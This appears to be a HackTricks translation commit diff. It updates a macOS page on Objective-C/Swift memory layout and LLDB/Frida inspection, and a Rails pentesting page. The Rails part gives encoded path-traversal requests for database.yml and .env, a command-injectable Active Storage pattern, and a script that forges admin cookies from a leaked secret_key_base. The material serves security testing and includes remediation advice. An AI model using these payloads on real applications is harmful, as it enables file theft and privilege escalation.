Translated ['src/network-services-pentesting/pentesting-web/ruby-tricks.

src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md

@@ -1,12 +1,12 @@
-# Bellekteki Nesneler
+# Bellekteki nesneler
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## CFRuntimeClass
 
-CF\* nesneleri CoreFoundation'dan gelir ve `CFString`, `CFNumber` veya `CFAllocator` gibi 50'den fazla nesne sınıfı sağlar.
+CF* nesneleri CoreFoundation'dan gelir; CoreFoundation `CFString`, `CFNumber` veya `CFAllocator` gibi 50'den fazla nesne sınıfı sağlar.
 
-Tüm bu sınıflar, çağrıldığında `__CFRuntimeClassTable`'a bir indeks döndüren `CFRuntimeClass` sınıfının örnekleridir. CFRuntimeClass, [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html) dosyasında tanımlanmıştır:
+Tüm bu sınıflar `CFRuntimeClass` sınıfının örnekleridir; çağrıldığında `__CFRuntimeClassTable`'a bir indeks döndürür. CFRuntimeClass [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html) içinde tanımlıdır:
 ```objectivec
 // Some comments were added to the original code
 
@@ -55,68 +55,79 @@ uintptr_t requiredAlignment; // Or in _kCFRuntimeRequiresAlignment in the .versi
 ```
 ## Objective-C
 
-### Bellek bölümleri
+### Memory sections used
 
-ObjectiveC çalışma zamanı tarafından kullanılan verilerin çoğu yürütme sırasında değişecektir, bu nedenle bellekteki **\_\_DATA** segmentinden bazı bölümleri kullanır:
+Objective‑C runtime tarafından kullanılan verilerin çoğu yürütme sırasında değişeceğinden, bellekte Mach‑O `__DATA` segment ailesinden bir dizi bölüm kullanılır. Tarihsel olarak bunlar şunlardı:
 
-- **`__objc_msgrefs`** (`message_ref_t`): Mesaj referansları
+- `__objc_msgrefs` (`message_ref_t`): Mesaj referansları
-- **`__objc_ivar`** (`ivar`): Örnek değişkenleri
+- `__objc_ivar` (`ivar`): Örnek (instance) değişkenleri
-- **`__objc_data`** (`...`): Değişken veri
+- `__objc_data` (`...`): Değiştirilebilir veriler
-- **`__objc_classrefs`** (`Class`): Sınıf referansları
+- `__objc_classrefs` (`Class`): Sınıf referansları
-- **`__objc_superrefs`** (`Class`): Üst sınıf referansları
+- `__objc_superrefs` (`Class`): Süperclass referansları
-- **`__objc_protorefs`** (`protocol_t *`): Protokol referansları
+- `__objc_protorefs` (`protocol_t *`): Protocol referansları
-- **`__objc_selrefs`** (`SEL`): Seçici referansları
+- `__objc_selrefs` (`SEL`): Selector referansları
-- **`__objc_const`** (`...`): Sınıf `r/o` verisi ve diğer (umarım) sabit veriler
+- `__objc_const` (`...`): Sınıf salt okunur verisi ve diğer (umarım) sabit veriler
-- **`__objc_imageinfo`** (`version, flags`): Görüntü yükleme sırasında kullanılır: Mevcut sürüm `0`; Bayraklar önceden optimize edilmiş GC desteğini belirtir, vb.
+- `__objc_imageinfo` (`version, flags`): Image yüklenirken kullanılır: Versiyon şu anda `0`; Flags önceden optimize edilmiş GC desteğini vb. belirtir.
-- **`__objc_protolist`** (`protocol_t *`): Protokol listesi
+- `__objc_protolist` (`protocol_t *`): Protocol listesi
-- **`__objc_nlcatlist`** (`category_t`): Bu ikili dosyada tanımlanan Tembel Olmayan Kategorilere işaretçi
+- `__objc_nlcatlist` (`category_t`): Bu binary içinde tanımlı Non-Lazy Categories'e işaretçi
-- **`__objc_catlist`** (`category_t`): Bu ikili dosyada tanımlanan Kategorilere işaretçi
+- `__objc_catlist` (`category_t`): Bu binary içinde tanımlı Categories'e işaretçi
-- **`__objc_nlclslist`** (`classref_t`): Bu ikili dosyada tanımlanan Tembel Olmayan Objective-C sınıflarına işaretçi
+- `__objc_nlclslist` (`classref_t`): Bu binary içinde tanımlı Non-Lazy Objective‑C sınıflarına işaretçi
-- **`__objc_classlist`** (`classref_t`): Bu ikili dosyada tanımlanan tüm Objective-C sınıflarına işaretçiler
+- `__objc_classlist` (`classref_t`): Bu binary içinde tanımlı tüm Objective‑C sınıflarına işaretçiler
 
-Ayrıca, bu bölümde yazmanın mümkün olmadığı sabit değerleri depolamak için **`__TEXT`** segmentinde birkaç bölüm kullanır:
+Ayrıca sabitleri depolamak için `__TEXT` segmentinde birkaç bölüm kullanır:
 
-- **`__objc_methname`** (C-String): Metot adları
+- `__objc_methname` (C‑String): Metod isimleri
-- **`__objc_classname`** (C-String): Sınıf adları
+- `__objc_classname` (C‑String): Sınıf isimleri
-- **`__objc_methtype`** (C-String): Metot türleri
+- `__objc_methtype` (C‑String): Metod tipleri
 
-### Tür Kodlaması
+Modern macOS/iOS (özellikle Apple Silicon’da) ayrıca Objective‑C/Swift meta verilerini şurada tutar:
 
-Objective-C, basit ve karmaşık türlerin seçici ve değişken türlerini kodlamak için bazı karıştırmalar kullanır:
+- `__DATA_CONST`: işlemler arasında salt okunur olarak paylaşılabilecek değiştirilemez Objective‑C meta verileri (örneğin birçok `__objc_*` listesi artık burada bulunuyor).
+- `__AUTH` / `__AUTH_CONST`: arm64e üzerinde yükleme veya kullanım zamanında kimlik doğrulanması gereken işaretçileri içeren segmentler (Pointer Authentication). Ayrıca legacy `__la_symbol_ptr`/`__got` yerine `__AUTH_CONST` içinde `__auth_got` göreceksiniz. instrumenting or hooking yaparken, modern ikilik dosyalardaki hem `__got` hem de `__auth_got` girdilerini hesaba katmayı unutmayın.
 
-- Temel türler, türün ilk harfini kullanır `i` için `int`, `c` için `char`, `l` için `long`... ve işareti varsa büyük harf kullanır (`L` için `unsigned Long`).
+dyld ön‑optimizasyonu hakkında arka plan için (örn., selector uniquing ve class/protocol önhesaplama) ve neden bu bölümlerin birçoğunun shared cache'ten gelirken "zaten düzeltilmiş" olduğunu anlamak için Apple `objc-opt` kaynaklarına ve dyld shared cache notlarına bakın. Bu, çalışma zamanında meta verileri nerede ve nasıl yamalayabileceğinizi etkiler.
-- Harfleri kullanılan veya özel olan diğer veri türleri, `q` için `long long`, `b` için `bitfields`, `B` için `booleans`, `#` için `classes`, `@` için `id`, `*` için `char pointers`, `^` için genel `pointers` ve `?` için `undefined` gibi diğer harfler veya semboller kullanır.
-- Diziler, yapılar ve birleşimler `[`, `{` ve `(` kullanır.
 
-#### Örnek Metot Bildirimi
+{{#ref}}
+../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md
+{{#endref}}
+
+### Tip Kodlaması
+
+Objective‑C, seçici ve değişken tiplerini (basit ve karmaşık olanları) kodlamak için mangling kullanır:
+
+- İlkel (primitive) tipler tipin ilk harfini kullanır: `i` için `int`, `c` için `char`, `l` için `long`... ve işaretsiz ise büyük harf kullanılır (`L` için `unsigned long`).
+- Diğer veri tipleri farklı harfler veya semboller kullanır; örneğin `q` için `long long`, `b` için bitfield'lar, `B` için boolean'lar, `#` sınıflar için, `@` `id` için, `*` `char *` için, `^` genel işaretçiler için ve `?` tanımsız için.
+- Diziler, yapılar ve union'lar sırasıyla `[`, `{` ve `(` kullanır.
+
+#### Örnek Metod Deklarasyonu
 ```objectivec
 - (NSString *)processString:(id)input withOptions:(char *)options andError:(id)error;
 ```
-Seçici `processString:withOptions:andError:` olacaktır.
+Seçici şu olur `processString:withOptions:andError:`
 
-#### Tür Kodlaması
+#### Type Encoding
 
-- `id` `@` olarak kodlanır
+- `id` şu şekilde kodlanır: `@`
-- `char *` `*` olarak kodlanır
+- `char *` şu şekilde kodlanır: `*`
 
-Yöntem için tam tür kodlaması:
+Metot için tam tür kodlaması şudur:
 ```less
 @24@0:8@16*20^@24
 ```
-#### Detaylı Analiz
+#### Detaylı Açılım
 
-1. **Dönüş Tipi (`NSString *`)**: `@` ile kodlanmış, uzunluk 24
+1. Return Type (`NSString *`): Uzunluğu 24 olan `@` olarak kodlanmış
-2. **`self` (nesne örneği)**: `@` ile kodlanmış, ofset 0
+2. `self` (object instance): `@` olarak kodlanmış, offset 0'da
-3. **`_cmd` (seçici)**: `:` ile kodlanmış, ofset 8
+3. `_cmd` (selector): `:` olarak kodlanmış, offset 8'de
-4. **İlk argüman (`char * input`)**: `*` ile kodlanmış, ofset 16
+4. First argument (`char * input`): `*` olarak kodlanmış, offset 16'da
-5. **İkinci argüman (`NSDictionary * options`)**: `@` ile kodlanmış, ofset 20
+5. Second argument (`NSDictionary * options`): `@` olarak kodlanmış, offset 20'de
-6. **Üçüncü argüman (`NSError ** error`)**: `^@` ile kodlanmış, ofset 24
+6. Third argument (`NSError ** error`): `^@` olarak kodlanmış, offset 24'te
 
-**Seçici + kodlama ile metodu yeniden oluşturabilirsiniz.**
+Selector + kodlama ile metodu yeniden oluşturabilirsiniz.
 
-### **Sınıflar**
+### Sınıflar
 
-Objective-C'deki sınıflar, özellikler, metod işaretçileri ile bir yapıdadır... `objc_class` yapısını [**kaynak kodda**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html) bulmak mümkündür:
+Objective‑C'deki sınıflar, özellikler, method pointers, vb. içeren C struct'larıdır. `objc_class` struct'ını [**source code**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html) içinde bulmak mümkündür:
 ```objectivec
 struct objc_class : objc_object {
 // Class ISA;
@@ -137,9 +148,114 @@ data()->setFlags(set);
 }
 [...]
 ```
-Bu sınıf, sınıf hakkında bazı bilgileri belirtmek için isa alanının bazı bitlerini kullanır.
+This class uses some bits of the `isa` field to indicate information about the class.
 
-Daha sonra, yapı, sınıfın adı, temel yöntemleri, özellikleri ve örnek değişkenleri gibi sınıfın niteliklerini içeren disk üzerinde saklanan `class_ro_t` yapısına bir işaretçi içerir.\
+Then, the struct has a pointer to the struct `class_ro_t` stored on disk which contains attributes of the class like its name, base methods, properties and instance variables. During runtime an additional structure `class_rw_t` is used containing pointers which can be altered such as methods, protocols, properties.
-Çalışma zamanında, yöntemler, protokoller, özellikler gibi değiştirilebilen işaretçileri içeren ek bir yapı `class_rw_t` kullanılır.
+
+{{#ref}}
+../macos-basic-objective-c.md
+{{#endref}}
+
+---
+
+## Bellekte modern nesne temsil biçimleri (arm64e, tagged pointers, Swift)
+
+### Non‑pointer `isa` ve Pointer Authentication (arm64e)
+
+Apple Silicon ve yeni runtime'larda Objective‑C `isa` her zaman ham bir class pointer'ı değildir. arm64e üzerinde paketlenmiş bir yapı olup aynı zamanda Pointer Authentication Code (PAC) taşıyabilir. Platforma bağlı olarak `nonpointer`, `has_assoc`, `weakly_referenced`, `extra_rc` ve class pointer'ı (shifted veya signed) gibi alanlar içerebilir. Bu, bir Objective‑C nesnesinin ilk 8 baytını körü körüne dereference etmenin her zaman geçerli bir `Class` pointer'ı vermeyeceği anlamına gelir.
+
+arm64e üzerinde debug yaparken pratik notlar:
+
+- LLDB genellikle `po` ile Objective‑C nesnelerini yazdırırken PAC bitlerini sizin için temizler, ancak ham pointerlarla çalışırken authentication'ı elle temizlemeniz gerekebilir:
+
+```lldb
+(lldb) expr -l objc++ -- #include <ptrauth.h>
+(lldb) expr -l objc++ -- void *raw = ptrauth_strip((void*)0x000000016f123abc, ptrauth_key_asda);
+(lldb) expr -l objc++ -O -- (Class)object_getClass((id)raw)
+```
+
+- Birçok function/data pointer Mach‑O içinde `__AUTH`/`__AUTH_CONST` bölümlerinde yer alır ve kullanılmadan önce authentication gerektirir. Eğer interposing veya re‑binding (ör. fishhook‑style) yapıyorsanız, legacy `__got`'a ek olarak `__auth_got` ile de ilgilendiğinizden emin olun.
+
+Dil/ABI garantileri ve Clang/LLVM'den erişilebilen `<ptrauth.h>` intrinsics hakkında derin bir inceleme için sayfa sonundaki referansa bakın.
+
+### Tagged pointer nesneler
+
+Bazı Foundation sınıfları, nesnenin payload'unu doğrudan pointer değeri içinde kodlayarak heap tahsisinden kaçınır (tagged pointers). Tespiti platforma göre değişir (örn. arm64'te en anlamlı bit, x86_64 macOS'ta en az anlamlı bit). Tagged nesnelerin bellekte normal bir `isa`'sı yoktur; runtime tag bitlerinden class'ı çözer. Rastgele `id` değerlerini incelerken:
+
+- `isa` alanını karıştırmak yerine runtime API'lerini kullanın: `object_getClass(obj)` / `[obj class]`.
+- LLDB'de, sadece `po (id)0xADDR` tagged pointer instance'larını doğru şekilde yazdırır çünkü class'ı çözmek için runtime'a başvurulur.
+
+### Swift heap nesneleri ve metadata
+
+Saf Swift sınıfları da Objective‑C `isa` değil, Swift metadata'sını işaret eden bir header'a sahip nesnelerdir. Canlı Swift proseslerini değiştirmeden introspect etmek için Swift toolchain'in `swift-inspect` aracını kullanabilirsiniz; bu araç runtime metadata'sını okumak için Remote Mirror kütüphanesini kullanır:
+```bash
+# Xcode toolchain (or Swift.org toolchain) provides swift-inspect
+swift-inspect dump-raw-metadata <pid-or-name>
+swift-inspect dump-arrays <pid-or-name>
+# On Darwin additionally:
+swift-inspect dump-concurrency <pid-or-name>
+```
+Bu, karışık Swift/ObjC uygulamalarını tersine mühendislik yaparken Swift heap nesnelerini ve protokol uygunluklarını haritalamak için çok kullanışlıdır.
+
+---
+
+## Çalışma zamanı inceleme kılavuzu (LLDB / Frida)
+
+### LLDB
+
+- Ham işaretçiden obje veya sınıfı yazdır:
+```lldb
+(lldb) expr -l objc++ -O -- (id)0x0000000101234560
+(lldb) expr -l objc++ -O -- (Class)object_getClass((id)0x0000000101234560)
+```
+- Bir nesne metodunun `self` işaretçisinden Objective‑C class'ını breakpoint sırasında inceleyin:
+```lldb
+(lldb) br se -n '-[NSFileManager fileExistsAtPath:]'
+(lldb) r
+... breakpoint hit ...
+(lldb) po (id)$x0                 # self
+(lldb) expr -l objc++ -O -- (Class)object_getClass((id)$x0)
+```
+- Dump Objective‑C meta verileri taşıyan bölümleri (note: birçoğu artık `__DATA_CONST` / `__AUTH_CONST` içinde):
+```lldb
+(lldb) image dump section --section __DATA_CONST.__objc_classlist
+(lldb) image dump section --section __DATA_CONST.__objc_selrefs
+(lldb) image dump section --section __AUTH_CONST.__auth_got
+```
+- Bilinen bir sınıf nesnesinin belleğini okuyun ve metod listelerini tersine çevirirken `class_ro_t` / `class_rw_t` üzerinde pivot yapın:
+```lldb
+(lldb) image lookup -r -n _OBJC_CLASS_$_NSFileManager
+(lldb) memory read -fx -s8 0xADDRESS_OF_CLASS_OBJECT
+```
+### Frida (Objective‑C and Swift)
+
+Frida, semboller olmadan canlı nesneleri keşfetmek ve enstrümante etmek için çok kullanışlı yüksek seviyeli çalışma zamanı köprüleri sağlar:
+
+- Sınıfları ve metotları listeleme, gerçek sınıf adlarını çalışma zamanında çözme ve Objective‑C selectors'ı yakalama:
+```js
+if (ObjC.available) {
+// List a class' methods
+console.log(ObjC.classes.NSFileManager.$ownMethods);
+
+// Intercept and inspect arguments/return values
+const impl = ObjC.classes.NSFileManager['- fileExistsAtPath:isDirectory:'].implementation;
+Interceptor.attach(impl, {
+onEnter(args) {
+this.path = new ObjC.Object(args[2]).toString();
+},
+onLeave(retval) {
+console.log('fileExistsAtPath:', this.path, '=>', retval);
+}
+});
+}
+```
+- Swift bridge: Swift türlerini listeleyin ve Swift örnekleriyle etkileşim kurun (güncel Frida gerektirir; Apple Silicon hedeflerinde çok kullanışlı).
+
+---
+
+## References
+
+- Clang/LLVM: Pointer Authentication ve `<ptrauth.h>` intrinsics (arm64e ABI). https://clang.llvm.org/docs/PointerAuthentication.html
+- Apple objc runtime headers (tagged pointers, non‑pointer `isa`, etc.) e.g., `objc-object.h`. https://opensource.apple.com/source/objc4/objc4-818.2/runtime/objc-object.h.auto.html
 
 {{#include ../../../banners/hacktricks-training.md}}

src/network-services-pentesting/pentesting-web/ruby-tricks.md

@@ -1,9 +1,100 @@
-# Ruby Tricks
+# Ruby İpuçları
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## Dosya yükleme ile RCE
 
-[bu makalede](https://www.offsec.com/blog/cve-2024-46986/) açıklandığı gibi, `.rb` dosyasını `config/initializers/` gibi hassas dizinlere yüklemek, Ruby on Rails uygulamalarında uzaktan kod yürütmeye (RCE) yol açabilir.
+As explained in [this article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications.
 
+İpuçları:
+- Uygulama başlatılırken çalıştırılan diğer boot/eager-load konumları da yazılabilir ise risklidir (ör. `config/initializers/` klasik örnektir). Eğer `config/` altında herhangi bir yere düşen ve sonradan evaluated/required edilen rastgele bir dosya yüklemesi bulursanız, boot sırasında RCE elde edebilirsiniz.
+- Rails'in boot sırasında yükleyeceği container image içine user-controlled dosyalar kopyalayan dev/staging build'leri arayın.
+
+## Active Storage image transformation → command execution (CVE-2025-24293)
+
+When an application uses Active Storage with `image_processing` + `mini_magick`, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default.
+
+- A vulnerable pattern looks like:
+```erb
+<%= image_tag blob.variant(params[:t] => params[:v]) %>
+```
+where `params[:t]` and/or `params[:v]` are attacker-controlled.
+
+- What to try during testing
+- Identify any endpoints that accept variant/processing options, transformation names, or arbitrary ImageMagick arguments.
+- Fuzz `params[:t]` and `params[:v]` for suspicious errors or execution side-effects. If you can influence the method name or pass raw arguments that reach MiniMagick, you may get code exec on the image processor host.
+- If you only have read-access to generated variants, attempt blind exfiltration via crafted ImageMagick operations.
+
+- Remediation/detections
+- If you see Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 with Active Storage + `image_processing` + `mini_magick` and user-controlled transformations, consider it exploitable. Recommend upgrading and enforcing strict allowlists for methods/params and a hardened ImageMagick policy.
+
+## Rack::Static LFI / path traversal (CVE-2025-27610)
+
+If the target stack uses Rack middleware directly or via frameworks, versions of `rack` prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via `Rack::Static` when `:root` is unset/misconfigured. Encoded traversal in `PATH_INFO` can expose files under the process working directory or an unexpected root.
+
+- Hunt for apps that mount `Rack::Static` in `config.ru` or middleware stacks. Try encoded traversals against static paths, for example:
+```text
+GET /assets/%2e%2e/%2e%2e/config/database.yml
+GET /favicon.ico/..%2f..%2f.env
+```
+Adjust the prefix to match configured `urls:`. If the app responds with file contents, you likely have LFI to anything under the resolved `:root`.
+
+- Mitigation: upgrade Rack; ensure `:root` only points to a directory of public files and is explicitly set.
+
+## secret_key_base leaked olduğunda Rails çerezlerini sahteleme/şifre çözme
+
+Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.
+
+Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
+```ruby
+require 'cgi'
+require 'json'
+require 'active_support'
+require 'active_support/message_encryptor'
+require 'active_support/key_generator'
+
+secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
+raw_cookie = CGI.unescape(ARGV[0])
+
+salt   = 'authenticated encrypted cookie'
+cipher = 'aes-256-gcm'
+key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
+secret  = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
+enc     = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
+
+plain = enc.decrypt_and_verify(raw_cookie)
+puts "Decrypted: #{plain.inspect}"
+
+# Modify and re-encrypt (example: escalate role)
+plain['role'] = 'admin' if plain.is_a?(Hash)
+forged = enc.encrypt_and_sign(plain)
+puts "Forged cookie: #{CGI.escape(forged)}"
+```
+Notlar:
+- Eski uygulamalar AES-256-CBC ve salt'lar `encrypted cookie` / `signed encrypted cookie`, veya JSON/Marshal serializer'ları kullanıyor olabilir. Saltları, cipher'ı ve serializer'ı buna göre ayarlayın.
+- İhlal/değerlendirme durumunda, tüm mevcut çerezleri geçersiz kılmak için `secret_key_base`'i yenileyin.
+
+## Ayrıca bakınız (Ruby/Rails-özgü zafiyetler)
+
+- Ruby deserialization and class pollution:
+{{#ref}}
+../../pentesting-web/deserialization/README.md
+{{#endref}}
+{{#ref}}
+../../pentesting-web/deserialization/ruby-class-pollution.md
+{{#endref}}
+{{#ref}}
+../../pentesting-web/deserialization/ruby-_json-pollution.md
+{{#endref}}
+- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
+{{#ref}}
+../../pentesting-web/ssti-server-side-template-injection/README.md
+{{#endref}}
+
+
+
+## Kaynaklar
+
+- Rails Güvenlik Duyurusu: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
+- GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
 {{#include ../../banners/hacktricks-training.md}}